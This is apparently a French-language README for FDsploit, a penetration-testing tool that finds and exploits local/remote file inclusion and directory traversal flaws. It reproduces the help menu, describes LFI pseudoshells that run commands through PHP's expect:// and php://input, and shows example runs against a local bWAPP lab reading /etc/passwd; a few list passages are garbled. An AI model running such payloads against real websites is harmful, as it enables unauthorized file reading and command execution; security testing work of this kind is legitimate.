
Outil de fuzzing, d'énumération et d'exploitation d'inclusion de fichier et de traversée de répertoire.
Menu de FDsploit :
$ python fdsploit.py -h
_____ ____ _ _ _
| __| \ ___ ___| |___|_| |_
| __| | |_ -| . | | . | | _|
|__| |____/|___| _|_|___|_|_|
|_|...ver. 1.2
Author: Christoforos Petrou (game0ver) !
usage: fdsploit.py [-u | -f ] [-h] [-p] [-d] [-e {0,1,2}] [-t] [-b] [-x] [-c]
[-v] [--params [...]] [-k] [-a] [--cmd]
[--lfishell {None,simple,expect,input}]
FDsploit.py: Automatic (L|R)FI & directory traversal enumeration & exploitation.
Required (one of the following):
-u , --url Specify a url or
-f , --file Specify a file containing urls
Optional:
-h, --help Show this help message and exit
-p , --payload Specify a payload-file to look for [default None]
-d , --depth Specify max depth for payload [default 5]
-e {0,1,2}, --urlencode {0,1,2}
Url-encode the payload [default: False]
-t , --tchar Use a termination character ('%00' or '?') [default None]
-b, --b64 Use base64 encoding [default False]
-x , --proxy Specify a proxy to use [form: host:port]
-c , --cookie Specify a session-cookie to use [default None]
-v , --verb Specify request type ('GET' or 'POST') [default GET]
--params [ ...] Specify POST parameters to use (applied only with POST requests)
Form: param1:value1,param2:value2,...
-k , --keyword Search for a certain keyword(s) on the response [default: None]
-a, --useragent Use a random user-agent [default user-agent: FDsploit_1.2_agent]
--cmd Test for command execution through PHP functions [default command: None]
--lfishell {None,simple,expect,input}
LFI pseudoshell [default None]
[!] For More Details please read the README.md file!
FDsploit peut être utilisé pour découvrir et exploiter automatiquement les vulnérabilités d'inclusion de fichiers locale/à distance et de traversée de répertoires. Si une vulnérabilité LFI est trouvée, l'option --lfishell peut être utilisée pour l'exploiter. Pour l'instant, 3 types différents de shells LFI sont pris en charge :
simple: Ce type de shell permet à l'utilisateur de lire facilement des fichiers sans avoir à saisir l'URL à chaque fois. Il fournit uniquement la sortie du fichier et pas l'intégralité du code source HTML de la page, ce qui le rend très pratique.expect: Ce type de shell est un shell semi-interactif qui permet à l'utilisateur d'exécuter des commandes via le wrapper expect:// de PHP.input: Ce type de shell est un shell semi-interactif qui permet également à l'utilisateur d'exécuter des commandes via le flux php://input de PHP.Jusqu'à présent, seules deux commandes intégrées au shell LFI existent :
clear etexit.*).D'après la sortie ci-dessous, il semble que le paramètre directory soit probablement vulnérable à une traversée de répertoires, car chaque requête avec ../ comme charge utile produit un hachage sha-256 différent. De plus, la longueur du contenu diffère pour chaque requête :
./fdsploit.py -u 'http://127.0.0.1:8888/test/bWAPP/bWAPP/directory_traversal_2.php?directory=documents' -c 'PHPSESSID=7acf1c5311fee614d0eb40d7f3473087; security_level=0' -d 8
De même, le paramètre language semble vulnérable à LFI, car en utilisant ../etc/passwd etc. comme charge utile, chaque requête colorée en vert produit un hachage différent, une longueur de contenu différente de l'originale, et le mot-clé spécifié est trouvé dans la réponse :
./fdsploit.py -u 'http://127.0.0.1:8888/test/bWAPP/bWAPP/rlfi.php?language=*&action=go' -c 'PHPSESSID=7acf1c5311fee614d0eb40d7f3473087; security_level=0' -d 7 -k root -p /etc/passwd
Exploitation de la LFI ci-dessus à l'aide du shell simple :
--params doit également être spécifiée.--payload doit être laissée à sa valeur par défaut (None).--file est utilisée pour tester plusieurs URLs, seule la requête GET est prise en charge.--file et --cookie sont toutes deux définies, comme un seul cookie peut être spécifié à la fois, les URLs doivent se référer au même domaine ou être accessibles sans cookie (cela sera corrigé dans une future mise à jour).input n'est pas compatible avec le verbe POST.Remarque : Pour installer les prérequis :
pip install -r requirements.txt --upgrade --user
💡 FDsploit est également préinstallé avec la distribution BlackArch Linux.
--file fonctionne également avec les paramètres POST et les cookies, en utilisant probablement un fichier json etc. comme entrée.--lfishell, par exemple history etc.Les retours et contributions sont les bienvenus. Si vous trouvez un bug ou avez une demande de fonctionnalité, n'hésitez pas à ouvrir une issue, et dès que je l'aurai examinée, j'essaierai de la corriger !
Cet outil est uniquement destiné à des fins de test et académiques et ne peut être utilisé qu'avec un consentement strict. Ne l'utilisez pas à des fins illégales ! Il est de la responsabilité de l'utilisateur final de respecter toutes les lois locales, nationales et fédérales applicables. Les développeurs déclinent toute responsabilité et ne sont pas responsables de toute mauvaise utilisation ou de tout dommage causé par cet outil et ce logiciel en général.
Ce projet est sous licence GPLv3 - voir le fichier LICENSE pour plus de détails.